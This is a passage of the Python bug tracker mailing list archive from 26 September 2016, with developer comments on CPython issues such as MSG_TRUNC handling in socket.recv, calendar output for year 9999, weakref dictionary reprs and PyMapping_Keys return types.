Michael, does the fix work for you?

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28277>
_______________________________________

From report at bugs.python.org  Mon Sep 26 09:23:56 2016
From: report at bugs.python.org (Antti Haapala)
Date: Mon, 26 Sep 2016 13:23:56 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474896236.81.0.727079774503.issue28272@psf.upfronthosting.co.za>


Antti Haapala added the comment:

Totally inlined when built with GCC, release mode, there is no trace of the maybe_small_long symbol, I couldn't even really decipher where it was being done in the disassembly of longobject.c. Was this the Windows release build?

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Mon Sep 26 09:31:28 2016
From: report at bugs.python.org (Oren Milman)
Date: Mon, 26 Sep 2016 13:31:28 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474896688.32.0.116222400268.issue28272@psf.upfronthosting.co.za>


Oren Milman added the comment:

my build (release):
Python 3.7.0a0 (default:da2c96cf2ce6, Sep 26 2016, 13:08:47) [MSC v.1900 32 bit (Intel)] on win32

ISTM we can close this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Mon Sep 26 09:40:22 2016
From: report at bugs.python.org (paul)
Date: Mon, 26 Sep 2016 13:40:22 +0000
Subject: [issue24098] Multiple use after frees in obj2ast_* methods
In-Reply-To: <1430489429.65.0.587999729774.issue24098@psf.upfronthosting.co.za>
Message-ID: <1474897222.73.0.478698837193.issue24098@psf.upfronthosting.co.za>


paul added the comment:

Fix by replacing static 'len' in loops with a macro, so that mutations of   size of the containter do not casue OOB reads.

----------
keywords: +patch
Added file: http://bugs.python.org/file44830/issue24098.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24098>
_______________________________________

From report at bugs.python.org  Mon Sep 26 09:44:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 13:44:04 +0000
Subject: [issue24098] Multiple use after frees in obj2ast_* methods
In-Reply-To: <1430489429.65.0.587999729774.issue24098@psf.upfronthosting.co.za>
Message-ID: <1474897444.61.0.705095819813.issue24098@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> high
stage: needs patch -> patch review
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24098>
_______________________________________

From report at bugs.python.org  Mon Sep 26 09:53:11 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 13:53:11 +0000
Subject: [issue17305] IDNA2008 encoding missing
In-Reply-To: <1361928766.42.0.728949411958.issue17305@psf.upfronthosting.co.za>
Message-ID: <1474897991.26.0.940491098905.issue17305@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
priority: normal -> high
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17305>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:09:31 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 26 Sep 2016 14:09:31 +0000
Subject: [issue24201] _winreg PyHKEY Type Confusion
In-Reply-To: <1431679011.32.0.0649667606823.issue24201@psf.upfronthosting.co.za>
Message-ID: <1474898971.1.0.306827732141.issue24201@psf.upfronthosting.co.za>


Steve Dower added the comment:

Agreed.

----------
resolution:  -> wont fix
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24201>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:16:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 14:16:19 +0000
Subject: [issue17305] IDNA2008 encoding missing
In-Reply-To: <1361928766.42.0.728949411958.issue17305@psf.upfronthosting.co.za>
Message-ID: <1474899379.15.0.551824137008.issue17305@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee: christian.heimes -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17305>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:28:38 2016
From: report at bugs.python.org (SpaceOne)
Date: Mon, 26 Sep 2016 14:28:38 +0000
Subject: [issue23245] urllib2: urlopen() gets exception(kwargs bug?)
In-Reply-To: <1421301694.48.0.880647525512.issue23245@psf.upfronthosting.co.za>
Message-ID: <1474900118.53.0.787282835637.issue23245@psf.upfronthosting.co.za>


SpaceOne added the comment:

Hello,
The resolution of this bug is "not a bug". If that is the case can you please add information how to fix/workaround this.
I have got the following valid-seeming code:
"""
import cookielib
import urllib
import urllib2
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
opener.open('https://www.google.com', timeout=2)
"""

Which results in:
Traceback (most recent call last):
  File "httplib_context_bug.py", line 6, in <module>
    opener.open('https://www.google.com', timeout=2)
  File "/usr/lib/python2.7/urllib2.py", line 431, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/urllib2.py", line 449, in _open
    '_open', req)
  File "/usr/lib/python2.7/urllib2.py", line 409, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/urllib2.py", line 1240, in https_open
    context=self._context)
  File "/usr/lib/python2.7/urllib2.py", line 1166, in do_open
    h = http_class(host, timeout=req.timeout, **http_conn_args)
TypeError: __init__() got an unexpected keyword argument 'context'

$ python 
Python 2.7.9 (default, Mar  1 2015, 12:57:24)
$ cat /etc/issue
Debian GNU/Linux 8 \n \l

----------
nosy: +spaceone

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23245>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:31:22 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 14:31:22 +0000
Subject: [issue23245] urllib2: urlopen() gets exception(kwargs bug?)
In-Reply-To: <1421301694.48.0.880647525512.issue23245@psf.upfronthosting.co.za>
Message-ID: <1474900282.96.0.895121859299.issue23245@psf.upfronthosting.co.za>


Christian Heimes added the comment:

You get advice on the Python user mailing list, https://mail.python.org/mailman/listinfo/python-list . The bug tracker is not a support/help forum.

----------
nosy: +christian.heimes
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23245>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:33:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 14:33:32 +0000
Subject: [issue18880] ssl.SSLSocket shutdown doesn't behave like
 socket.shutdown
In-Reply-To: <1377812218.52.0.68669263864.issue18880@psf.upfronthosting.co.za>
Message-ID: <1474900412.82.0.951329338569.issue18880@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Sounds fine, but it's not a security issue. I'm re-targeting the bug for 3.7.

----------
assignee: christian.heimes -> 
nosy:  -giampaolo.rodola
stage:  -> patch review
type: security -> behavior
versions: +Python 3.7 -Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18880>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:36:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 14:36:21 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474900581.55.0.787119802278.issue28275@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> critical
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:45:12 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 26 Sep 2016 14:45:12 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474901112.06.0.0861707778503.issue28207@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Note the bootstrap issue with that idea though; you'll need to make sure _posixsubprocess is built before importing subprocess.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:51:33 2016
From: report at bugs.python.org (R. David Murray)
Date: Mon, 26 Sep 2016 14:51:33 +0000
Subject: [issue23245] urllib2: urlopen() gets exception(kwargs bug?)
In-Reply-To: <1421301694.48.0.880647525512.issue23245@psf.upfronthosting.co.za>
Message-ID: <1474901493.41.0.417285012868.issue23245@psf.upfronthosting.co.za>


R. David Murray added the comment:

Christian: it looks like, unlike the original report, this one involves only stdlib code.  So maybe there really is a bug here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23245>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:54:06 2016
From: report at bugs.python.org (SpaceOne)
Date: Mon, 26 Sep 2016 14:54:06 +0000
Subject: [issue23245] urllib2: urlopen() gets exception(kwargs bug?)
In-Reply-To: <1421301694.48.0.880647525512.issue23245@psf.upfronthosting.co.za>
Message-ID: <1474901646.37.0.308245256019.issue23245@psf.upfronthosting.co.za>


SpaceOne added the comment:

Nice that you investigate again into this issue. Could you please test if this still happens on python 2.7.10 as I unfortunately have no environment with that version. This would be very kind of you!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23245>
_______________________________________

From report at bugs.python.org  Mon Sep 26 10:59:57 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 14:59:57 +0000
Subject: [issue24933] socket.recv(size, MSG_TRUNC) returns more than size bytes
In-Reply-To: <1440502095.54.0.909214947799.issue24933@psf.upfronthosting.co.za>
Message-ID: <1474901997.61.0.0701696620248.issue24933@psf.upfronthosting.co.za>


Christian Heimes added the comment:

MSG_TRUNC literally causes a buffer overflow. In the example sock_recv() and friends only allocate a buffer of size 1 on the heap. With MSG_TRUNC recv() ignores the maximum size and writes beyond the buffer. We cannot recover from a buffer overflow because the overflow might have damanged other data structures. Instead Python should detect the problem and forcefully abort() the process with Py_FatalError().

----------
priority: normal -> critical
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24933>
_______________________________________

From report at bugs.python.org  Mon Sep 26 11:31:29 2016
From: report at bugs.python.org (Michael Felt)
Date: Mon, 26 Sep 2016 15:31:29 +0000
Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not
 available (e.g., AIX)
In-Reply-To: <1456413023.18.0.874865601403.issue26439@psf.upfronthosting.co.za>
Message-ID: <1474903889.53.0.451019077586.issue26439@psf.upfronthosting.co.za>


Michael Felt added the comment:

Sigh - missed the feature cutoff that would have made this easier to get into python...

Anyway - have learned a few new things about python def: syntax and removed some bits that I thought were suitable for variable "initialization" - but tend to be static (not what I was thinking).

Also, "new and improved" comments about what the code is doing.

Thank you all for your patience and feedback - especially Martin!

----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44831/Python3.6.Lib.ctypes.160926.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26439>
_______________________________________

From report at bugs.python.org  Mon Sep 26 11:31:46 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 15:31:46 +0000
Subject: [issue24933] socket.recv(size, MSG_TRUNC) returns more than size bytes
In-Reply-To: <1440502095.54.0.909214947799.issue24933@psf.upfronthosting.co.za>
Message-ID: <1474903906.23.0.497592075418.issue24933@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Ah, I misunderstood MSG_TRUNC. It's not a buffer overflow. MSG_TRUNC does not write beyond the end of the buffer. In this example the libc function recv() writes two bytes into the buffer but returns a larger value than 2.

---
import socket
a, b = socket.socketpair(socket.AF_UNIX, socket.SOCK_DGRAM)
a.send(b'abcdefgh')
result = b.recv(2, socket.MSG_TRUNC)
print(len(result), result)
---
stdout: 2 b'ab'

To fix the wrong result of recv() with MSG_TRUNC, only resize when outlen < recvlen (line 3089).

To get the size of the message, you have to use recv_into() with a buffer.

---
a, b = socket.socketpair(socket.AF_UNIX, socket.SOCK_DGRAM)
a.send(b'abcdefgh')
msg = bytearray(2)
result = b.recv_into(msg, flags=socket.MSG_TRUNC)
print(result, msg)
---
stdout: 8 bytearray(b'ab')

----------
priority: critical -> high
type: security -> behavior
versions:  -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24933>
_______________________________________

From report at bugs.python.org  Mon Sep 26 11:59:26 2016
From: report at bugs.python.org (Matthias Klose)
Date: Mon, 26 Sep 2016 15:59:26 +0000
Subject: [issue28190] Detect curses headers correctly for cross-compiling
In-Reply-To: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>
Message-ID: <1474905565.99.0.381278207459.issue28190@psf.upfronthosting.co.za>


Matthias Klose added the comment:

looks good to me, thanks for working on this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Mon Sep 26 12:28:49 2016
From: report at bugs.python.org (Ram Rachum)
Date: Mon, 26 Sep 2016 16:28:49 +0000
Subject: [issue28278] Make `weakref.WeakKeyDictionary.__repr__` meaningful
Message-ID: <1474907329.42.0.213961169452.issue28278@psf.upfronthosting.co.za>


New submission from Ram Rachum:

Both `WeakKeyDictionary` and `WeakValueDictionary` have opaque `__repr__` methods:

>>> x = weakref.WeakKeyDictionary({object: 2, type: 4,})
>>> x
<WeakKeyDictionary at 0x32e6198>
>>> dict(x)
{<class 'type'>: 4, <class 'object'>: 2}

This makes it annoying to view them at a glance. Is there a reason for it? (I don't know, maybe because they're weakref? Though I'm not sure how that would affect this decision.)

If there isn't a reason, then maybe there should be a nice `__repr__` that lets you see the objects inside?

----------
components: Library (Lib)
messages: 277431
nosy: cool-RR
priority: normal
severity: normal
status: open
title: Make `weakref.WeakKeyDictionary.__repr__` meaningful
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28278>
_______________________________________

From report at bugs.python.org  Mon Sep 26 12:43:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 16:43:00 +0000
Subject: [issue28278] Make `weakref.WeakKeyDictionary.__repr__` meaningful
In-Reply-To: <1474907329.42.0.213961169452.issue28278@psf.upfronthosting.co.za>
Message-ID: <1474908180.94.0.111591599639.issue28278@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +fdrake, pitrou
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28278>
_______________________________________

From report at bugs.python.org  Mon Sep 26 12:47:41 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 26 Sep 2016 16:47:41 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1474908461.48.0.893815869595.issue23591@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

The "What?s New In Python 3.6" page should really get an update to mention Flag, IntFlag and auto as enhancements to the enum module. Right now, the ssl module update docs mentions (but does not properly link for some reason) IntFlag, but otherwise, there is no mention of the new feature in either the "What's New" docs or even in the theoretically comprehensive changelog; if you don't think to look at the enum module itself, you'd never know there were new features to use.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Mon Sep 26 12:54:46 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 16:54:46 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474908886.74.0.317429794994.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

I would leave itermonthdates() alone and just fix itermonthdays2() (and itermonthdays() for consistency) as Xiang suggested.  The fix can be implemented by breaking on date.month != month and adding something like

for wd in range(date.weekday(), 7):
    yield (0, wd)

after the existing for loop.

----------
nosy: +belopolsky

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:05:38 2016
From: report at bugs.python.org (Roy Williams)
Date: Mon, 26 Sep 2016 17:05:38 +0000
Subject: [issue28279] setuptools failing to read from setup.cfg only in Python
 3.6
Message-ID: <1474909538.67.0.328004494878.issue28279@psf.upfronthosting.co.za>


New submission from Roy Williams:

Howdy,

I'm attempting to make a change to the mock package in Python (related to http://bugs.python.org/issue28260), and it appears their CI is broken in Python 3.6 only. The problem appears to originate from setuptools, but this only fails in Python 3.6

Here's the last time the mock jobs passed:
https://travis-ci.org/testing-cabal/mock/jobs/153850304 
Here's where they started failing:
https://travis-ci.org/testing-cabal/mock/jobs/159121114

Here's the core of the issue. AFAICT in Python 3.6 setuptools isn't parsing (or is incorrectly parsing) setup.cfg.  I filed https://github.com/pypa/setuptools/issues/800 with the PyPA folks, but honestly I am unsure if the issue is Python itself or setuptools.

Interestingly, when this build went from "passing" to "failing", both were running Python 3.6.0a4+.  

1.43s$ pip install -U .[docs,test]
Processing /home/travis/build/testing-cabal/mock
  mock 2.0.1.dev2 does not provide the extra 'docs'
  mock 2.0.1.dev2 does not provide the extra 'test'
Installing collected packages: mock
  Found existing installation: mock 2.0.0
    Uninstalling mock-2.0.0:
      Successfully uninstalled mock-2.0.0
  Running setup.py install for mock ... done
Successfully installed mock-2.0.1.dev2
I attempted to force travis to pin to the latest version of setuptools and had the same issue (only in Python 3.6, not 3.5 - https://travis-ci.org/testing-cabal/mock/builds/162838672)

----------
components: Distutils
messages: 277434
nosy: Roy Williams, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: setuptools failing to read from setup.cfg only in Python 3.6
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28279>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:16:57 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 26 Sep 2016 17:16:57 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474910217.74.0.554136972313.issue28253@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

On the second thought, I don't see why itermonthdays2() and itermonthdays() need to use itermonthdates() at all.  It looks like it is easy to implement those using monthrange() and some simple integer arithmetics.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:31:34 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 17:31:34 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474911094.91.0.216338476944.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

itermonthdates() is documented public method. We should do something with it. Maybe emitting dummy data instances is the simplest way to solve this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:50:18 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 17:50:18 +0000
Subject: [issue25909] Incorrect documentation for PyMapping_Items and like
In-Reply-To: <1450525085.87.0.352365699992.issue25909@psf.upfronthosting.co.za>
Message-ID: <1474912218.95.0.104003692601.issue25909@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Seems I was wrong. PyDict_Keys/PyDict_Values/PyDict_Items return a list in Python 3. Thus comments in Include/abstract.h were correct. Xiang Zhang noticed this in issue28211.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25909>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:51:28 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 26 Sep 2016 17:51:28 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474912288.37.0.595109123668.issue28207@psf.upfronthosting.co.za>


Ned Deily added the comment:

Any solution using pkg-config would need to take into account that pkg-config may not be available (by default) on platforms we support; for example, AFAIK, Apple does not ship pkg-config in the base OS or any of its developer tools.  And the solution would need to be careful to not break the ability to use the subset of Distutils the top-level setup.py needs to bootstrap build the standard library.  Also keep in mind that a lot of this proposed functionality is (or should be) available today by using Modules/Setup.local.

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:54:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 17:54:51 +0000
Subject: [issue25909] Incorrect documentation for PyMapping_Items and like
In-Reply-To: <1450525085.87.0.352365699992.issue25909@psf.upfronthosting.co.za>
Message-ID: <20160926175448.19762.94491.878F1DF9@psf.io>


Roundup Robot added the comment:

New changeset 68fc808bed9f by Serhiy Storchaka in branch '3.5':
Issues #25909, #28211: Restored correct documentation of PyMapping_Items,
https://hg.python.org/cpython/rev/68fc808bed9f

New changeset 21336392a680 by Serhiy Storchaka in branch '3.6':
Issues #25909, #28211: Restored correct documentation of PyMapping_Items,
https://hg.python.org/cpython/rev/21336392a680

New changeset 1229de1ab5c8 by Serhiy Storchaka in branch 'default':
Issues #25909, #28211: Restored correct documentation of PyMapping_Items,
https://hg.python.org/cpython/rev/1229de1ab5c8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25909>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:54:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 17:54:51 +0000
Subject: [issue28211] Wrong return value type in the doc of
 PyMapping_Keys/Values/Items
In-Reply-To: <1474361846.96.0.641386769432.issue28211@psf.upfronthosting.co.za>
Message-ID: <20160926175448.19762.85667.2EAD13D4@psf.io>


Roundup Robot added the comment:

New changeset 68fc808bed9f by Serhiy Storchaka in branch '3.5':
Issues #25909, #28211: Restored correct documentation of PyMapping_Items,
https://hg.python.org/cpython/rev/68fc808bed9f

New changeset 21336392a680 by Serhiy Storchaka in branch '3.6':
Issues #25909, #28211: Restored correct documentation of PyMapping_Items,
https://hg.python.org/cpython/rev/21336392a680

New changeset 1229de1ab5c8 by Serhiy Storchaka in branch 'default':
Issues #25909, #28211: Restored correct documentation of PyMapping_Items,
https://hg.python.org/cpython/rev/1229de1ab5c8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28211>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:56:23 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 17:56:23 +0000
Subject: [issue28211] Wrong return value type in the doc of
 PyMapping_Keys/Values/Items
In-Reply-To: <1474361846.96.0.641386769432.issue28211@psf.upfronthosting.co.za>
Message-ID: <1474912583.65.0.596098831682.issue28211@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for your report and patch Xiang Zhang!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28211>
_______________________________________

From report at bugs.python.org  Mon Sep 26 13:58:34 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 26 Sep 2016 17:58:34 +0000
Subject: [issue28278] Make `weakref.WeakKeyDictionary.__repr__` meaningful
In-Reply-To: <1474907329.42.0.213961169452.issue28278@psf.upfronthosting.co.za>
Message-ID: <1474912714.74.0.0626388564043.issue28278@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

Well, I could see a "friendly" repr being avoided to:

1. Save work (iterating safely involves iteration guards and explicitly acquiring strong references to every key)
2. Avoid pretending the state is stable (the repr at time X could be different at time X+epsilon)
3. Avoiding the possibility of __repr__ implementations for contained items doing terrible things (e.g. mutating the WeakKeyDictionary, or deleting the last external reference to a key). In the case where a __repr__ deletes the last external reference to a key that WeakKeyDictionary's __repr__ already iterated past, it means the repr is wrong before it even returns.
4. The repr wouldn't match the normal repr behavior; ideally, you can copy and paste a repr and get back an equivalent object. But of course, copy and pasting WeakKeyDictionary({Spam(1): 1, Spam(2): 2}) would actually get you back WeakKeyDictionary({}), because the objects you passed in don't share the identity of the ones in the original WeakKeyDictionary (which have existing references somewhere), and the instant the constructor returns, they'd lose their last reference and be deleted from the newly created WeakKeyDictionary
5. The above problems get even worse if the repr ends up being reentrant (which is more likely in this case; weakrefs are often used to break cycles); any stage of the recursive repr could end up mutating

None of these mean that the feature would be impossible/undesirable. #4 *might* be a reason to keep __repr__ as is though, and have __str__ display the more friendly version (e.g. `return '{}({!r})'.format(type(self).__name__, dict(self))` ); __str__ is supposed to be friendly without being a means of reproducing the object, so it wouldn't be quite as misleading.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28278>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:13:46 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 18:13:46 +0000
Subject: [issue28280] Always return a list from
 PyMapping_Keys/PyMapping_Values/PyMapping_Items
Message-ID: <1474913626.43.0.560302545775.issue28280@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

PyMapping_Keys(), PyMapping_Values() and PyMapping_Items() can return a list or tuple (because they use PySequence_Fast). But end users of this API often work only with lists and raise an exception if corresponding mapping methods return an instance of other type (actually only for tuples). See Modules/posixmodule.c, Modules/_winapi.c, Modules/_sre.c. The type is even not checked in the latter file.

Old documentation said that PyMapping_Keys(o) is equivalent to the Python expression list(o.keys()). Maybe it is worth to make this true. Make PyMapping_Keys(o) etc always returning a list. This could simplify the code that uses this C API. Since keys() etc usually return a dict view, a list or a generator, but not a tuple, this unlikely will cause performance regression.

----------
components: Interpreter Core
messages: 277443
nosy: rhettinger, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
status: open
title: Always return a list from PyMapping_Keys/PyMapping_Values/PyMapping_Items
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28280>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:30:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 18:30:23 +0000
Subject: [issue28194] Clean up some checks in dict implementation
In-Reply-To: <1474189937.19.0.989951317436.issue28194@psf.upfronthosting.co.za>
Message-ID: <20160926183019.81306.47488.B00F0AB9@psf.io>


Roundup Robot added the comment:

New changeset 1d41d741bb5b by Serhiy Storchaka in branch '3.6':
Issue #28194: Clean up some checks in dict implementation.
https://hg.python.org/cpython/rev/1d41d741bb5b

New changeset b83a70afca39 by Serhiy Storchaka in branch 'default':
Issue #28194: Clean up some checks in dict implementation.
https://hg.python.org/cpython/rev/b83a70afca39

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28194>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:31:36 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 18:31:36 +0000
Subject: [issue28194] Clean up some checks in dict implementation
In-Reply-To: <1474189937.19.0.989951317436.issue28194@psf.upfronthosting.co.za>
Message-ID: <1474914696.77.0.107424383331.issue28194@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28194>
_______________________________________

From report at bugs.python.org  Mon Sep 26 14:32:17 2016
From: report at bugs.python.org (Bar Harel)
Date: Mon, 26 Sep 2016 18:32:17 +0000
Subject: [issue27141] Fix collections.UserList shallow copy
In-Reply-To: <1464384542.41.0.303372176211.issue27141@psf.upfronthosting.co.za>
Message-ID: <1474914737.38.0.325136461925.issue27141@psf.upfronthosting.co.za>


Bar Harel added the comment:

Alright. 2 patches are available.

opt_1 makes the use of __copy__.

Advantages:

- Clean
- Does not affect pickling at all
- More memory efficient

Disadvantages:

- Might be missing something from the normal copy mechanism (e.g. UserList doesn't implement __slots__ but it somewhat interferes with future implementation)
- Doesn't call __reduce__, __getstate__, ... while people might rely on it for some reason during copy, thus it might not be entirely backwards compatible

opt_2 makes use of __reduce__.

Advantages:

- Lowest in the chain. Shouldn't cause any backwards compatibility issues as if the user manually defined __getstate__ or __reduce_ex__ himself, the code as far as he's concerned did not change.
- Uses the default mechanism for copying. Changes in the protocol will not cause any bug in here.

Disadvantages:

- Affects pickling, messes up with the __reduce__ protocol.
- Takes more memory during pickling as it recreates the dict.
- Uglier as a personal opinion.

__getstate__ was not attempted as it will break backwards compatibility for sure if someone wrote a __reduce__ method (as it won't be called), but it's also a viable option.

Both patches contain tests and both fix the bug in UserDict and UserList.

----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44832/issue27141_patch_rev1_opt1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27141>
